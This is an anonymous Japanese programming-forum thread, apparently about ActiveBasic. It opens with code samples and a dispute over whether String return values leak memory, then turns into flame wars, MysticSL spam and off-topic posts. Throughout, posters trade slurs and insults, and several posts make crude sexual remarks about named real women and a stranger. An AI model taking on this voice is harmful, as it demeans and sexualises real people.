10/09/11 05:09:01
墓穴工事中に悪いんだけど>>649、wiki管理人じゃないよ。必死で煽り乙です。
'↓ここからサンプル
Dim X As BytePtr
'String$関数のコピー。指定した文字列を指定回数連結した文字列が返る
Function test() As String
test="ABCDEFG" '戻り値の文字列設定
X=StrPtr(test) 'グローバルに戻り値へのポインタをコピーしておく
End Function
Sub main()
Dim a As BytePtr
a=calloc(10)
lstrcpy(a,test())
MsgBox 0,a,"戻り値" '正常に動けば、「111111111」が表示される
free(a)
End Sub
'↓ここからプログラム実行
main()
MsgBox 0,X,"グローバル保存値"
'↑サンプルここまで
行数がキツイので次レスで解説
651:647
10/09/11 05:22:10
ごめんサンプルのコメントは無視して。継ぎ接ぎの実験プログラムをまんまうpしたらコメントがバグリまくってた。
動作:
関数main()でプログラム起動。
ローカルで、戻り値をString型で返すtest()を呼び出し。
test()の戻り値のポインタを取得し、グローバル変数Xに保存。
メッセージボックスでtest()の戻り値を確認して、関数main()を終了。
main()終了し、ローカル変数が開放された後で、ローカルで呼ばれたtest()の戻り値のポインタを参照してみると・・・
・・・ローカルのハズの戻り値が開放されておらず、"ABCDEFG"が表示される。
ちなみにtest()の戻り値をLongにして、それに伴って呼び出し部分を変更したサンプルでは、きちんと開放されている。
'↓ここからサンプル
Dim X As BytePtr
Function test() As Long
test=100 '戻り値の設定
X=VarPtr(test) 'グローバルに戻り値へのポインタをコピーしておく
End Function
Sub main()
MsgBox 0,Str$(test()),"戻り値"
End Sub
'↓ここからプログラム実行
main()
Dim a As Long
memcpy(VarPtr(a),X,4) 'グローバルに保存したポインタをLong変数に読み込み
MsgBox 0,Str$(a),"グローバル保存値"
↑サンプルここまで
652:デフォルトの名無しさん
10/09/11 05:32:36
これはひどい・・・・・・>>647が
文字列リテラル "ABCDEFG" がどこに置かれるか考えろ
653:647
10/09/11 05:44:53
test()の戻り値をLongにしたバージョンでは、グローバル保存値のメッセージボックスでは正しい値が表示されない。
つまり、正常に開放されている。
他の変数型でも試したが、問題が発生するのはString型のみ。
さらに、
test() '☆1
test() '☆2
test() '☆3
として、それぞれ別のグローバル変数に戻り値のポインタを保存させると、☆1~☆3まで、全て参照できる。
つまり、戻り値の文字列がまんまメモリリークしている。
>>647で言ったように、戻り値はヒープ領域ではなくスタック領域が使用される。
結果、(詳しい理屈は知らないが)全ての関数の呼び出しが遅くなる。
例えば、AB標準関数のStr$を1万回呼び出した前と後で、他の関数(win32API等)を1000回呼び、
その時間を図るプログラムを組んだら、明らかにプログラムの動作速度が誤差レベルじゃなく遅くなっていることが確認できる。
つまり、String型の戻り値を持つ関数を繰り返し呼ぶプログラムを組むと、メモリリークがどんどん進み、動作が遅くなる。
654:647
10/09/11 05:46:01
>>652
kwsk
655:デフォルトの名無しさん
10/09/11 09:41:06
>>652
文字列データはデータ領域だろうけど関係なくないか?
Stringに代入するためにあるんだし
いや、こいつの指摘が全面的にあってるとはとうてい思えないけどさ
656:デフォルトの名無しさん
10/09/11 10:51:17
>647>
さすがお子様言語だなw
レヴェルお低さが証明されたwww
自動変数に開放ってwww
レジスタの値見ろよwwww
文字列が残るってwww
実装も理解できてないwww
お前www墓穴www
657:デフォルトの名無しさん
10/09/11 11:03:02
とりあえずその遅くなるうんぬんを検証したコードくれよ
658:デフォルトの名無しさん
10/09/11 11:06:29
自分でやれwwww
他力本願www
自 作 自 演 バレバレ
マッチポンプ
659:デフォルトの名無しさん
10/09/11 11:12:53
>>652をドヤ顔で書いたわりに、
聞かれるといつものキチガイに戻ってやんの
660:デフォルトの名無しさん
10/09/11 11:35:50
叩いてるのが一人しかいないって?
お気楽でいいね~
叩いてるのが一人しかいないって?
お気楽でいいね~
叩いてるのが一人しかいないって?
お気楽でいいね~
661:デフォルトの名無しさん
10/09/11 13:34:49
このキチガイはなんでここまで粘着するんだろ?
662:デフォルトの名無しさん
10/09/11 13:36:56
キチガイに 粘着す るお前も粘着
自分が見えてないのか?
663:デフォルトの名無しさん
10/09/11 13:38:13
>>661
おおかた公式フォーラムで雑に扱われて逆恨みしてるとか、
そういうくだらない理由だろうよ
664:デフォルトの名無しさん
10/09/11 13:42:53
Class nentyaku
Public
Sub nentyaku()
nentyaku>>661
End Sub
End Class
Class kitigai
Inherits nentyaku
Public
Sub kitigai()
kitigai>>662
End Sub
End Class
665:デフォルトの名無しさん
10/09/11 17:12:42
>>653
Stringが保持してる文字列データってヒープじゃないの?StrPtrで得られるのってその実体へのポインタじゃないの?
(実際どういう実装なのかは知らないが)
もしそうなら解放直後ならまだ残ってるのは普通な気がする
longの方はスタックにあるからそりゃもどってきてすぐに潰されるわな
つーかmain関数にちゃんともどってきてんのにスタック領域のリークって結論が意味分からんな
666:647
10/09/11 18:18:30
Dim X As BytePtr
Dim Y As BytePtr
Dim Z As BytePtr
Function test(a As BytePtr,b As Long) As String
Dim p As BytePtr
test=a '戻り値の文字列設定
p=StrPtr(test) '戻り値へのポインタを取得
If b=1 Then X=p
If b=2 Then Y=p
If b=3 Then Z=p
End Function
Sub main()
Dim t As BytePtr
t=calloc(10)
lstrcpy(t,test("ABCDE",1))
lstrcpy(t,test("12345",2))
lstrcpy(t,test("abcdef",3))
free(t)
End Sub
'↓ここからプログラム実行
main()
MsgBox 0,X,"X"
MsgBox 0,Y,"Y"
MsgBox 0,Z,"Z"
667:647
10/09/11 18:26:38
恥の上塗り覚悟で書く。俺の勘違い?
>>666のX,Y,Zで参照してる値は、いつ開放されるの?
自作ソフトがだんだん遅くなるトラブルがあったんだが、
Str$を改造して、戻り値をBytePtrにして手動で開放するようにしたら
ソフトが遅くなるトラブルが解消された。
で、調べたら戻り値のString型が、関数終了後も開放されていない事が分かった。
戻り値はスタック領域って認識だったんだが、違う?
詳しい人解説plz
668:デフォルトの名無しさん
10/09/11 18:37:04
stringがたの変数は自動的に開放されない
なぜなら実体はグローバル変数_System_AllocatedStringInfo
に保存されて居るから
戻り値はその文字列のポインターに過ぎない。
669:デフォルトの名無しさん
10/09/11 18:56:06
↑
論破したつもりでageカキコwww
恥さらしの恥の上塗りだなおいwwwww
やべえwww自演バレバレww
お前の方が
完 全 論 破
まあコドモはバグだらけで使えねえABにしがみついてろってこったna
w
670:デフォルトの名無しさん
10/09/12 00:33:25
とりあえず,Long型のポインタと文字列型のポインタを表示してみろ
ポインタの指し示す「先」じゃなくてポインタの「値」そのものを
これで何かみえてくるだろう
671:デフォルトの名無しさん
10/09/12 01:11:06
ageてまで言うことか?
672: ◆tAo.kQ2STk
10/09/12 02:02:55
>>667
詳しいことは忘れたけど
典型的なIntelチップ用プログラムは、戻り値は基本的にeaxレジスタ(超高速なメモリだと思えば大体あってる)に保存される。
で、流石にString型はレジスタに収まらないので、恐らく
String型へのポインタ(VarPtr(A$))が入ってる。
で、呼び出し側ではそれを前提としてString型へのポインタをString型そのものとして記述できるようにしてある。
VarPtr()は変数へのポインタを返す関数。
StrPtr()はString型が指す文字列へのポインタを返す関数。
AB4の実装では両者は一致したと思うけど、言語仕様的にはその保証はない。
673: ◆tAo.kQ2STk
10/09/12 02:03:54
で、本題。
>>666はまず型に関して間違ってる。正しくは恐らく・・・
Function test(a As BytePtr,b As Long) As String
Dim p As BytePtr
test=MakeStr(a) '戻り値の文字列設定 BytePtr型をString型へ変換
p=StrPtr(test) '戻り値が示す文字列へのポインタを取得
'(省略)
End Function
Sub main()
Dim t As BytePtr
t=calloc(10)
lstrcpy(t,StrPtr(test("ABCDE",1))) 'String型をBytePtr型へ変換
lstrcpy(t,StrPtr(test("12345",2)))
lstrcpy(t,StrPtr(test("abcdef",3)))
free(t)
End Sub
674: ◆tAo.kQ2STk
10/09/12 02:10:07
もう一点。
Double型のような、汎用レジスタには入らないけど固定長な型の場合は
戻り値がスタックに積まれることもありうるけど
String型のような、可変長の型は
コンパイラ制作時点でスタックに詰めようとは思いません。苦労するだけだもの。
AB4では
String型を一種のポインタ入り構造体と見なして、
関数から返すときにはその構造体へのポインタを返す
という実装だったと思う。調べたの随分前だからうろ覚え。
675: ◆tAo.kQ2STk
10/09/12 02:28:03
>>651の場合は、
test()関数の1つ目のローカル変数"test"はスタックの先頭に入ってて
Xはその場所を覚えさせられるんだけど
MsgBox呼ぶのにStr$使ってるから、その中の1つ目のローカル変数"Str$"に
Xの参照先の値を上書きされてると思う。
最後のMsgBoxでaをMakeStrで括って実行したらどうなるかちょっと見てみよう
(手元に環境がないのでどうなるかは確認してないです。単に落ちるかも)。
で、String型にした場合はどうなるかというと、>>668が正しければ
Xの参照先がグローバル領域のような場所になるから、
関数から抜けたあとも領域が上書きされずに残ってた
という状況になったものかと思う。
676:デフォルトの名無しさん
10/09/12 12:39:28
↑
偉そうな長文の割には思う、思うの妄想wwwww
これでwiki管理人とかwwww
・ID付ける自己顕示欲
・文体
これが同一人物の割拠たる証拠
以上証明終
677:デフォルトの名無しさん
10/09/12 13:43:30
>>676
病院に行ったほうがいいよ
君は明らかに精神を病んでいる
678:デフォルトの名無しさん
10/09/12 13:47:25
>>675
うーん、子供だという証明やね><
679:デフォルトの名無しさん
10/09/12 14:11:16
>>678
なりすましとか勘弁してください
680:デフォルトの名無しさん
10/09/12 14:12:44
>>677
◆tAo.kQ2STkが論理的だとでも?
わたくしが電波とでも?
明確な解説を頂きたいものですね
681:デフォルトの名無しさん
10/09/12 14:30:06
>>680
やっぱり女はまあちゃんみたいにかわいくて愛嬌がある子が一番だな
682:デフォルトの名無しさん
10/09/12 18:58:57
そういえば、前にも構造体を戻り値の型にするとメモリリークするという問題があった気がする。
683:デフォルトの名無しさん
10/09/12 19:53:11
Oilly Debugかなんかでのリークするようなコードの
アセンブリダンプ見てみたいZe
684:デフォルトの名無しさん
10/09/12 20:46:32
>>675
開放=内容を消去してデータ流出を防ぐ、って意味もあるから、
上書きされずに残った=開放されてない って事じゃない?
685:デフォルトの名無しさん
10/09/12 20:51:57
>>684続き、途中送信しちまった。
で、>>666のソースでX,Y,Z全部参照できる、って事は、
最初に確保したグローバル領域に上書きを繰り返す、って処理じゃなくて
呼び出される度に新たに戻り値のメモリを確保してる、と思う。
で、不必要になっても参照できるって事は、メモリリークしてるんじゃない?
686:デフォルトの名無しさん
10/09/12 21:29:47
お前らwwwwまだやってたのかwwwwwwww
低レヴェルwwwwwwwwwwwwwwwwwwww
wiki管理人は誰かな???????????
>>684かな?
687:デフォルトの名無しさん
10/09/12 22:01:08
管理人叩きは何がしたいわけ?
レベルの高い>>686氏に未開放疑惑のこの問題の解説を願いましょうか。
688:デフォルトの名無しさん
10/09/12 22:39:38
グローバル変数だったらデータ領域だよな?それならメモリリークがそもそもあり得ないだろ
だって最初から確保されてて終了までそのままだもの
なんだよグローバル領域に確保するってwwwwwwww
誰かがいってた、Stringの実体はグローバル変数ってのが合ってればの話だが
つかなんでスタック、データ、ヒープのこと全く知らない奴らばっかなんだ
689:デフォルトの名無しさん
10/09/12 22:57:03
↑
管理人八橋wwwww
意見受け入れられずwwwww
690:デフォルトの名無しさん
10/09/12 23:45:31
>>688
最後の1行は>>670が言いたかったことだろうな
691: ◆tAo.kQ2STk
10/09/13 00:01:16
>>676
念のため過去ログを参照してもらいたい所なんだけど、wikiの管理人は俺じゃないです。
それと、「現象が起きた」という報告からの推測なので「思う」って単語を適宜使った。
偉そうな文に見えたら、それはすまない、
君の目が悪いか俺の文体が悪いか又はその両方かのどれかだわ。
で、「ID付ける自己顕示欲」他の3文によるエセ証明は
私には理解不能なのでstep-by-stepで完全に記述して欲しいな。
>>684
前半は違う。
アプリケーションプログラミングに於いて、「解放」と言う単語に「内容を消去」他の意味は通常含まれない。
「不使用とする事を環境(Windowsとか標準ライブラリとか)に知らせる」程度の意味。
後半は多分あってる。プログラム終了時に一度に開放している可能性が高い
(関数から抜けるタイミングで開放するのは都合が悪いため)。
とするならばXやYを参照している時点で文字列の解放はされていないというのはライブラリやコンパイラの実装上の問題。
スタックは同じ場所を使いまわすデータ領域なんで、プログラムと共に生まれて消える。
確保だの解放だのメモリリークだの言うのは通常このスタック領域での話ではなく、ヒープ領域での話。
この2つの領域は存在概念が大分違うので調べておくが吉かと。
>>685
String型でもなんでもないただのポインタをString型として扱って、
その上に無残な事をやったのだから仕方が無いのでは。
>>688
・前半
恐らく、あのグローバル変数はString型が指す文字列へのポインタを値として取るリスト又は動的な配列
の先頭へのポインタか何かかと。
string.sbpあたりを読めば分かるかも知れんが、手元にないので確認取れず。
・後半
昔からポインタと再帰は鬼門ですからねぇ。
692:デフォルトの名無しさん
10/09/13 01:32:18
>>638
おれもすげえ気持ち悪いと思った
赤の他人の人物特定できる情報書き込んで共有とかマジで集団ストーカーだな
会いに行く理由も臭いで性的興奮がしたいからとかキチガイすぎて引くわ
693:デフォルトの名無しさん
10/09/13 02:23:52
>>692
ゴミレスの応酬ワラタ
694:デフォルトの名無しさん
10/09/13 02:24:39
荒らし行為を堂々と白状するとかここのユーザーはレベルが低いですね
695:デフォルトの名無しさん
10/09/13 02:25:55
自作関数が尽くvoid型
引数は大体が自作構造体のアドレス
696:デフォルトの名無しさん
10/09/13 02:39:17
起動音を目覚ましに使ってるよ。
でぃういーーー でぃういーーー↑ ってやつ。
697:デフォルトの名無しさん
10/09/13 22:30:39
とある動画を変換しようとすると以下のエラーがでます
[mp4 @ 01f30050] st:0 error, non monotone timestamps 1873 >= 1873
av_interleaved_write_frame(): Operation not permitted
原因が分かりません
他の動画は同じ設定で変換できます
698:デフォルトの名無しさん
10/09/13 22:31:34
>>697
インテルCMの井川遥なんだけど・・・
もし、おいらの前で安和に足裏見せられたら、まじで一ヶ月はおかずに使えるな・・・
その前に襲い掛かって、足裏ペロペロかも(笑)
699:デフォルトの名無しさん
10/09/13 22:32:28
俺みたいなリアル情弱は
Amaya
Lhasa
Illustrator
Photoshop
McAfee
Soundit
で十分
700:デフォルトの名無しさん
10/09/13 22:41:52
キタ━(´∀` )(∀` )(` )( )( ≧)( ≧∀)(≧∀≦)ブッハハハハ━!!!!!
701:デフォルトの名無しさん
10/09/13 22:45:06
乙4の試験で二硫化炭素はよく出るからな
702:デフォルトの名無しさん
10/09/14 11:46:25
お前の頭どうかしてるぞ
普通上級者は自鯖だぜ
初心者の癖に「やっぱ上級者は」だってよw 腹イテー
703:デフォルトの名無しさん
10/09/14 16:01:53
>>702
やっぱ上級者は自鯖だよなー
と言ってるように見えるよ
704:デフォルトの名無しさん
10/09/14 16:18:23
ちょっとバリュースター買ってくるわ
705:デフォルトの名無しさん
10/09/14 16:20:25
↑
お前はdellで十分だよww
706:デフォルトの名無しさん
10/09/15 00:36:28
終わりはない、と思った。未来がなくても、終わりはない。これには終わりがない。泣きながら、耳にこびりついて離れない
707:デフォルトの名無しさん
10/09/19 21:38:39
For文の終値ってループするごとに計算し直してるんだな
708:デフォルトの名無しさん
10/09/19 23:19:01
オプソ化決定の噂って本当?
709:デフォルトの名無しさん
10/09/20 12:15:24
なんだよそれはと思って一応公式にいこうとしたがやっぱり繋がらない
しかも気のせいかググっても出てこない
710:あぼーん
あぼーん
あぼーん
711:デフォルトの名無しさん
10/09/21 01:01:37
>>709
アドウェアの一種だよ
712:デフォルトの名無しさん
10/09/21 01:11:39
そいつマルチポストのアホだから気にしなくていいよ
713:デフォルトの名無しさん
10/09/21 18:18:55
すみません
MysticSLってABの後継言語ですか?
格段にABより使いやすいです
今まで知りません」でした。
714:デフォルトの名無しさん
10/09/21 18:51:05
MysticSL厨うぜええええええええええええええええええええええええええええええええええええええええええ
MysticSL厨うぜええええええええええええええええええええええええええええええええええええええええええ
MysticSL厨うぜええええええええええええええええええええええええええええええええええええええええええ
MysticSL厨うぜええええええええええええええええええええええええええええええええええええええええええ
MysticSL厨うぜええええええええええええええええええええええええええええええええええええええええええ
MysticSL厨うぜええええええええええええええええええええええええええええええええええええええええええ
MysticSL厨うぜええええええええええええええええええええええええええええええええええええええええええ
MysticSL厨うぜええええええええええええええええええええええええええええええええええええええええええ
MysticSL厨うぜええええええええええええええええええええええええええええええええええええええええええ
MysticSL厨うぜええええええええええええええええええええええええええええええええええええええええええ
MysticSL厨うぜええええええええええええええええええええええええええええええええええええええええええ
MysticSL厨うぜええええええええええええええええええええええええええええええええええええええええええ
MysticSL厨うぜええええええええええええええええええええええええええええええええええええええええええ
MysticSL厨うぜええええええええええええええええええええええええええええええええええええええええええ
MysticSL厨うぜええええええええええええええええええええええええええええええええええええええええええ
715:デフォルトの名無しさん
10/09/21 18:53:06
ご苦労。もう>>713に用は無い。
○
く|)へ
〉 ヾ○シ
 ̄ ̄7 ヘ/>>714
/ ノ
|
/
|
|
/
716:デフォルトの名無しさん
10/09/24 01:47:42
♪ △ ♪
(゚ω゚)ノ MysticSL~
~└( (♪
( ヽ ♪
△♪
ヽ(゚ω゚) MysticSL~
♪) )┘♪
ノ > ♪
717:デフォルトの名無しさん
10/09/24 03:25:35
平野綾の足マジ綺麗だな
沢山男に舐められただろうな
718:デフォルトの名無しさん
10/09/24 03:28:45
Dreamweaver CS4を使っているのですが、
ホームページ作成に当たり、画像の奥から文字が前面に押し出てくるような感じ(文字が浮かび上がってくる感じでも)のものは作成できないのでしょうか?
説明わかりにくくて申し訳ありませんが、方法などを詳しく教えてもらえるとありがたいです。
719:デフォルトの名無しさん
10/09/24 04:00:06
>>718
「立体ロゴ 作成」でググれ。
それでも分からなければ他のスレに行け。
ここはDreamweaverの為のスレじゃない。
720:デフォルトの名無しさん
10/09/24 10:20:41
>>719
「MysticSL 作成」でググれ。
それでも分からなければ他のスレに行け。
ここはMysticSLの為のスレじゃない。
721:デフォルトの名無しさん
10/09/24 10:32:52
>>716
>>719>>720
>>713>>707>>691
>>680
自演して流行ってる風に見せようとして誰かに動いてもらおうとしても無駄。
クレクレ厨なのバレバレだよw
欲しいものがあるならテメーで動いて取りにいけやwwwwwww
722:デフォルトの名無しさん
10/09/24 11:47:19
なんかネタばっかりだな
723:デフォルトの名無しさん
10/09/24 13:42:24
↑
お前を筆頭にな
724:719
10/09/24 17:03:53
>>721
ちょっと待って、俺は720他とは別人。
725:719
10/09/24 17:07:49
なりすましとか勘弁してください
726:719≠725
10/09/24 17:09:20
>>725
>>725
727:719<>725
10/09/24 17:12:01
10 IF 719<>725 THEN PRINT ">>725"+CHR$(&HD)+">>725"
20 GOTO 0
728:719≠725
10/09/24 17:14:59
>>727
Undefined line number in 20
Ok
729:あぼーん
あぼーん
あぼーん
730:デフォルトの名無しさん
10/09/25 01:53:40
MysticSLに移行すべきでしょうか?
731:デフォルトの名無しさん
10/09/25 02:00:48
>>730
ここはMysticSLの為のスレじゃない。
732:デフォルトの名無しさん
10/09/25 10:50:35
フリー系は何にしてもやってみてから決めるのがよいかと
ただし世間ウケを望むのなら明らかに他の有名な言語の方が…
…ネタに対して言うことじゃないが
733:デフォルトの名無しさん
10/09/25 11:00:25
>>732
お前はC#でもやってろよ
734:デフォルトの名無しさん
10/09/25 11:36:16
>>730
Mystic#で決まりだろ
URLリンク(blog.goo.ne.jp)
735:デフォルトの名無しさん
10/09/25 11:54:51
>>734
・P2Pばかりやるからポート開放とかできる。ただしポートが何なのかはよく分からない
・タイピングは人より少し早い。ただし数字や記号などは見ないと打てないという中途半端ぶり
・C言語を習得しようとしたがポインタ手前で既に挫折。そのくせ、2ちゃんねるのプログラミングスレではfor(i=0;i<=100;i++) {printf("逝ってよし\n");}みたいな
書き込みをして自分はプログラミングを知ってるんだぞとアピールする(何故かfor文を使いたがる)
・office系ソフトの知識はとても中途半端。excelでセルの足し算だとか簡単な関数などは知っているが、相対参照とか言われても理解できない
・デスクトップ改造とかに興味があるからレジストリを少しいじれる。だけどレジストリが何なのかは知らない。
・パソコンの大先生っぷりをアピールをするために、ネットワーク不調の際は「ping」とか「ipconfig」をDOS上から打って調査しているフリをする。
ただし理解できる情報はIPアドレスだけ。
736:デフォルトの名無しさん
10/09/25 13:08:49
MSLのスレはここですか
737:デフォルトの名無しさん
10/09/25 13:31:18
>>736
コドモはすに帰っレ
738:デフォルトの名無しさん
10/09/25 13:32:00
>>736
wiki管理人宣伝必死だなwwwwwwww
739:デフォルトの名無しさん
10/09/25 13:38:39
>>738
お前どっかいけよ
740:デフォルトの名無しさん
10/09/25 14:03:17
時代は常に進化している
いつまでも過去にしがみついて生きてはいけない
今こそ勇気を出して新しい扉を開く時なのだ
未来を切り拓く声に耳を澄ませばいい
残された人の声はやがて小さくなる
さあ 一歩足を踏み出そう
輝ける永久の未来へ
MysticSL
741:デフォルトの名無しさん
10/09/25 14:18:42
↑
スレたててソッチでやれやカス
742:デフォルトの名無しさん
10/09/25 14:23:14
>>741
お前がageるからMysticSL厨が湧いてるんじゃねえか
743:デフォルトの名無しさん
10/09/25 14:26:44
↑
嫌なら出て行けやageとかsageとか関係ねえだろうが
ABもMysticSLもカス言語だろうが
わからんのか
まあアホに行っても理解出るとは思わんがw
確信犯どっかいきょ
二度と書き込むなよ
744:デフォルトの名無しさん
10/09/25 15:15:34
age厨・・・1日中粘着してるんだね
ABスレの監視員ご苦労さん
wikiもその調子で管理してくれよ
745:デフォルトの名無しさん
10/09/25 15:34:59
↑
ヒント:言いだしっぺの法則
746:デフォルトの名無しさん
10/09/25 15:37:45
大体そう言うお前は学校行かないのかよ 見ろ、見事なカウンターで返した 調子に乗ってるからこうやって痛い目に遭う
747:デフォルトの名無しさん
10/09/25 15:41:31
国公立の大学はまだ休みだな。
748:デフォルトの名無しさん
10/09/25 15:43:25
お前それで良いのか?
749:デフォルトの名無しさん
10/09/25 15:49:08
>>748
俺は、俺だ。
750:デフォルトの名無しさん
10/09/25 16:22:52
MysticSLスレ立てたらいいじゃない。
そんなに素晴らしいものならABスレに居座っているのはもったいない。
751:デフォルトの名無しさん
10/09/25 17:08:53
なんかにぎやかなので俺も参加
752:デフォルトの名無しさん
10/09/25 17:13:42
どーでもいいけど>>735の
for(i=0;i<=100;i++) {printf("逝ってよし\n");}
って怖い。ループ回数が感覚と一致しなさそうで。
753:デフォルトの名無しさん
10/09/25 17:36:00
>>746
お前曜日もわかってないのか・・・
自分から引篭もりの学生って名乗ってるようなものだぞ
まあきっと見えない敵と戦ってるんだな
754:デフォルトの名無しさん
10/09/25 17:37:04
だよね。
普通は
for(i=0;i<100;i++) {printf("逝ってよし\n");}
か
for(i=1;i<=100;i++) {printf("逝ってよし\n");}
755:デフォルトの名無しさん
10/09/25 18:10:19
ユーザーです
MysticSLの
756:デフォルトの名無しさん
10/09/25 19:22:15
>>735
ん? 俺の知り合い?
757:デフォルトの名無しさん
10/09/25 19:34:29
こんな学生が作った、しかも開発の終わっちゃってるような言語を
嬉々として使っているお前らの脳みそって腐っちゃってるのか?
こんなの習得する時間があるなら今旬のObjective-Cでもやったほうがマシ。
同じアホ言語でもまだ人口の多いHSPでもやったほうがマシだわ。
758:デフォルトの名無しさん
10/09/25 19:49:14
MysticSLはマイナーな言語だが今ふたたび評価する動きが加速している
実際オブジェクト志向と関数型の要素をバランス良く取り入れたデザインは時代を先取りしていた
これはひょっとするとrubyを超える大きな流れになるかもしれない
759:デフォルトの名無しさん
10/09/25 20:41:42
lispは時代を先取りしすぎた
760:デフォルトの名無しさん
10/09/25 20:49:21
>>757
ユーチリティーを作るのにはまあ使えるし
個人で使うには窓も簡単に出せてまああま使い勝手いいが
>こんなの習得する時間があるなら今旬のObjective-Cでもやったほうがマシ。
は? 習 得 を要するような言語か?
>同じアホ言語でもまだ人口の多いHSPでもやったほうがマシだわ。
お前はそれをつかえばいいんじゃね
結論:どかきえk
761:デフォルトの名無しさん
10/09/25 20:50:05
>>756
俺はお前の知り合いではない
762:デフォルトの名無しさん
10/09/25 23:35:46
キャプチャーボードを買う前は、
MPEG1やRMやしか見れなかったし、ビデオCDの画質で満足していた。
キャプチャーボードについて調べている時も、
「なんでこいつらはMPEG2にこだわるんだろう?」と思っていた。
だがキャプチャーボードを買っていろいろ試してるうちに、
やはり保存用はMPEG2じゃなきゃダメだと思うようになった!
763:デフォルトの名無しさん
10/09/26 00:13:39
ABには裏切られたよ
MysticSLはそんなことない
764:デフォルトの名無しさん
10/09/26 00:39:54
/: : : : : __: :/: : ::/: : ://: : :/l::|: : :i: :l: : :ヽ: : :丶: : 丶ヾ ___
/;,, : : : //::/: : 7l,;:≠-::/: : / .l::|: : :l: :|;,,;!: : :!l: : :i: : : :|: : ::、 / ヽ
/ヽヽ: ://: :!:,X~::|: /;,,;,/: :/ リ!: ::/ノ l`ヽl !: : |: : : :l: :l: リ / そ そ お \
/: : ヽヾ/: : l/::l |/|||llllヾ,、 / |: :/ , -==、 l\:::|: : : :|i: | / う う 前 |
. /: : : //ヾ ; :|!: イ、||ll|||||::|| ノノ イ|||||||ヾ、 |: ::|!: : イ: ::|/ な 思 が
/: : ://: : :ヽソ::ヽl |{ i||ll"ン ´ i| l|||l"l `|: /|: : /'!/l ん う
∠: : : ~: : : : : : : :丶ゝ-―- , ー=z_ソ |/ ハメ;, :: ::|. だ ん
i|::ハ: : : : : : : : : : : 、ヘヘヘヘ 、 ヘヘヘヘヘ /: : : : : \,|. ろ な
|!l |: : : : : : : : :、: ::\ 、-―-, / : : :丶;,,;,:ミヽ う ら
丶: :ハ、lヽ: :ヽ: : ::\__ `~ " /: : ト; lヽ) ゝ
レ `| `、l`、>=ニ´ , _´ : :} ` /
,,、r"^~´"''''"t-`r、 _ -、 ´ヽノ \ノ / お ・
,;'~ _r-- 、__ ~f、_>'、_ | で 前 ・
f~ ,;" ~"t___ ミ、 ^'t | は ん ・
," ,~ ヾ~'-、__ ミ_ξ丶 | な 中 ・
;' ,イ .. ヽ_ ヾ、0ヽ丶 l /
( ;":: |: :: .. .`, ヾ 丶 ! \____/
;;;; :: 入:: :: :: l`ー-、 )l ヾ 丶
"~、ソ:: :い:: : \_ ノ , ヾ 丶
765:デフォルトの名無しさん
10/09/26 02:22:28
>>762
アナログ放送ならhunuaaで可逆圧縮のAVIに録るのが最強だろ。
766:デフォルトの名無しさん
10/09/26 11:20:03
もっとMysticSLユーザー集めたいですね
767:デフォルトの名無しさん
10/09/26 12:14:59
へへへ そんな事言ってても、下の方はぐちゃぐちゃだな・・・
768:あぼーん
あぼーん
あぼーん
769:あぼーん
あぼーん
あぼーん
770:デフォルトの名無しさん
10/09/26 12:42:08
>>677
あー、うちの対象も公には何も触れないよ。
ファンサイトのファの字も口にしたことない。たぶん。
でもスタッフとはサイトの話題してくれて
スタッフを通じて、反応を聞いてる。
だからブログやラジオで触れないからと言って
迷惑なのかと考えちゃ駄目だよ。
771:デフォルトの名無しさん
10/09/26 12:53:50
これが基地外スレの末路か…
772:デフォルトの名無しさん
10/09/26 12:55:00
↑
お前を含めてな
773:デフォルトの名無しさん
10/09/26 13:00:51
ぶっちゃけ思い込みたい奴には思い込ませとけばいいよ。
どうでもいいし。
774:デフォルトの名無しさん
10/09/26 14:12:10
ABスレ盛り上がってきたな
775:デフォルトの名無しさん
10/09/26 14:24:27
↑
お前の自演でなw
776:デフォルトの名無しさん
10/09/26 14:38:32
どうせ消える前の一瞬の輝きなんだろ?
777:デフォルトの名無しさん
10/09/26 14:47:48
↑
消える前ってwwwww
存在もしてねえよwwwwww
778:あぼーん
あぼーん
あぼーん
779:デフォルトの名無しさん
10/09/26 15:59:54
MysticSLのwikiはどこ?
780:デフォルトの名無しさん
10/09/26 18:04:39
見当たらないなら作ればいいさ。Mysticスレもな
781:デフォルトの名無しさん
10/09/26 21:23:50
>>780
自分でやれ
782:デフォルトの名無しさん
10/09/26 21:35:06
誰かMysticSLスレ立てt
783:デフォルトの名無しさん
10/09/26 21:46:39
自分でやれ>>782
784:デフォルトの名無しさん
10/09/26 21:57:07
今日は子供の小学校の運動会だった。
父兄観覧席で、うちの前でレジャーシート敷いて素足で正座していた若ママさんの足裏にずっと目が釘付けだった。
惜しむらくは、目が釘付け過ぎて写真撮らなかったことだ。
785:780
10/09/26 23:09:17
俺はMysticSLスレもWikiも要らん
786:デフォルトの名無しさん
10/09/26 23:11:49
↑
タレもお前の意見など聞いてねえよ
文句はどかきってくれ
787:デフォルトの名無しさん
10/09/26 23:52:26
タレどかきっ
788:デフォルトの名無しさん
10/09/26 23:54:31
↑
人のミスを論って何がしたいんだ
建設的なれすしよや
789:デフォルトの名無しさん
10/09/26 23:59:54
URLリンク(www.nhk.or.jp)
790:デフォルトの名無しさん
10/09/27 00:47:30
どかきsageてくれ
791:デフォルトの名無しさん
10/09/27 01:13:47
みなさんオイラのために喧嘩はやめてください
山ちゃんより
792:デフォルトの名無しさん
10/09/27 01:36:46
↑
人のミスを論って何がしたいんだ
建設的なれすしよや
793:あぼーん
あぼーん
あぼーん
794:あぼーん
あぼーん
あぼーん
795:デフォルトの名無しさん
10/09/27 19:07:33
こんな過疎スレを荒らす斬新な着眼点は評価する。
796:デフォルトの名無しさん
10/09/27 19:24:15
↑
自己評価かわいいね
797:デフォルトの名無しさん
10/09/28 14:43:53
カレーにする?カレイにする?それとも
華麗にスルー
798:あぼーん
あぼーん
あぼーん
799:デフォルトの名無しさん
10/09/28 21:56:46
いいよね、MysticSL。
800:デフォルトの名無しさん
10/10/03 19:57:58
こんにちは
今、ブロック崩しのようなゲームを作ろうと思っています。
そこで、わからないことがあったので質問します。
ボールが、ブロックや壁、バーに当たるとバウンドしますが、できません。
ブロック崩しには必要なことなので教えてください。
お願いします。
801:デフォルトの名無しさん
10/10/03 22:01:50
#N88BASIC
Const Xmax=480 '画面横サイズ
Const Ymax=320 '画面縦サイズ
Const Bar=100 '操作バーサイズ
Const BarH=300 '操作バーの高さ
Const Speed=2 'ボールが進む速さ
Dim x As Long 'ボールのX座標
Dim y As Long 'ボールのY座標
Dim px As Long 'ボールがX方向へ進む方向
Dim py As Long 'ボールがY方向へ進む方向
Dim P As POINTAPI 'マウスカーソルの位置
